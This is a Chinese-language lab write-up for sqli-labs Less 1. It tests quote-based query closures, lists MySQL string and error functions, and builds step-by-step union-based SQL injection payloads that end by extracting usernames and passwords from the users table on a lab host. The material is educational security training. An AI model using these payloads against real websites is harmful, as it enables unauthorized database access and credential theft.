sqli-labs-Less 1-10 之手工注入和sqlmap注入
宣告
學習SQL注入,提高網路安全能力,其實大部分環境下,測試人員做的工作都截止到漏洞發現,簡單回顧一下,漏洞發現的實質就是發現SQL語句的閉合方式,一般來講都圍繞著這幾個符號
雙引號 "
單引號 '
雙引號括號 ")
單引號括號')
實際運用過程如下,仔細觀察伺服器給的反饋,或者結合sleep函式進行使用
http://192.168.239.138:86/Less-9/?id=" --+ http://192.168.239.138:86/Less-9/?id=' --+ http://192.168.239.138:86/Less-9/?id=") --+ http://192.168.239.138:86/Less-9/?id=') --+
常用
database()
返回當前資料庫名
version()
返回資料庫的版本號
CONCAT(s1,s2…sn)
字串 s1,s2 等多個字串合併為一個字串
CONCAT_WS(x, s1,s2…sn)
同 CONCAT(s1,s2,…) 函式,但是每個字串之間要加上 x,x 可以是分隔符
LIMIT
mysql> SELECT * FROM table LIMIT 5,10; // 檢索記錄行 6-15 //為了檢索從某一個偏移量到記錄集的結束所有的記錄行,可以指定第二個引數為 -1: mysql> SELECT * FROM table LIMIT 95,-1; // 檢索記錄行 96-last. //如果只給定一個引數,它表示返回最大的記錄行數目: mysql> SELECT * FROM table LIMIT 5; //檢索前 5 個記錄行 //換句話說,LIMIT n 等價於 LIMIT 0,n。
sleep
left
LEFT(s,n) 返回字串 s 的前 n 個字元
返回字串 runoob 中的前兩個字元:
SELECT LEFT(‘runoob’,2) – ru
mid
mid()函式為擷取字串一部分。mid(column_name,start,length)
column_name 必需,要提取字元的欄位
start 必需,規定開始位置(起始為1)
length 可選,要返回的字元數,如果省略則返回剩餘文字
eg:str=“123456” mid(str,2,1) 結果為2
substr
substr()
Substr()和substring()函式實現的功能是一樣的,均為擷取字串。
string substring(string, start, length)
string substr(string, start, length)
引數描述同mid()函式,第一個引數為要處理的字串,start為開始位置,length為擷取的長度
ASCII
返回字串 s 的第一個字元的 ASCII 碼。
返回 CustomerName 欄位第一個字母的 ASCII 碼:
SELECT ASCII(CustomerName) AS NumCodeOfFirstChar
FROM Customers;
count
返回查詢的記錄總數,expression 引數是一個欄位或者 * 號
返回 Products 表中 products 欄位總共有多少條記錄:
SELECT COUNT(ProductID) AS NumberOfProducts FROM Products;
if
IF(expr,v1,v2) 如果表示式 expr 成立,返回結果 v1;否則,返回結果 v2
SELECT IF(1 > 0,‘正確’,‘錯誤’)
->正確
updatexml
updatexml()函式,是更新xml文件的函式。
語法updatexml(目標xml文件,xml路徑,更新的內容)
select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))
第一關
題目已經告訴我們提示了,有一個ID欄位了
使用單引號進行測試,一般來說第一個payload都是單引號,如果程式返回SQL語法錯誤,那就是實錘了,肯定有SQL注入
?id='
繼續測試,構建完成語句
?id=1 and true --+
至此,發現漏洞過程結束,開始漏洞利用了
判斷當前表的欄位數 顯示不存在欄位,這裡得用+代替空格了
?id=1' order by 4 --+
?id=1' order by 3 --+
使用這個payload,發現沒反應?仔細想想,需要把id換成不存在的值,聯合出查詢但是隻有一個回顯值,所以隨便選個不存在的id
?id=-1' union select 1,2,3 --+
開始查詢information_schema
可以看到,我們union查詢了3個欄位值,第一個是null,說白了就是湊數的,第二個是資料庫名,顯示在了圖片第二行,第三個是資料庫版本,顯示在了第三行,後續的查詢,可以操縱SQL語句,讓想要爆破的欄位值顯示在第二行和第三行
?id=-1' union select null,database(),version()--+
繼續爆破,從information_schema.tables表,簡單回顧一下,爆破的是資料庫名和表明欄位,所以取得是security庫裡面第一條記錄的庫名和表名
?id=-1' union select null,table_schema,table_name from information_schema.tables where table_schema='security' limit 0,1--+
改變 limit m, n 中的 m, 從表中一行行查詢 0~99,其實就是把security庫中每一張表名都爆出來,什麼?limit好麻煩,那就使用concat函式吧
?id=-1' union select 1,group_concat('---',table_name),3 from information_schema.tables where table_schema='security'--+
看看users表裡面都有哪些有價值的欄位
?id=-1' union select 1,group_concat('---',column_name),3 from information_schema.columns where table_name='users'--+
我們來獲得使用者名稱和密碼的欄位,這裡我們已經查到users表了,所以就操縱users表
?id=-1' union select 1,group_concat(username,'---',password),3 from users--+
這樣就成功了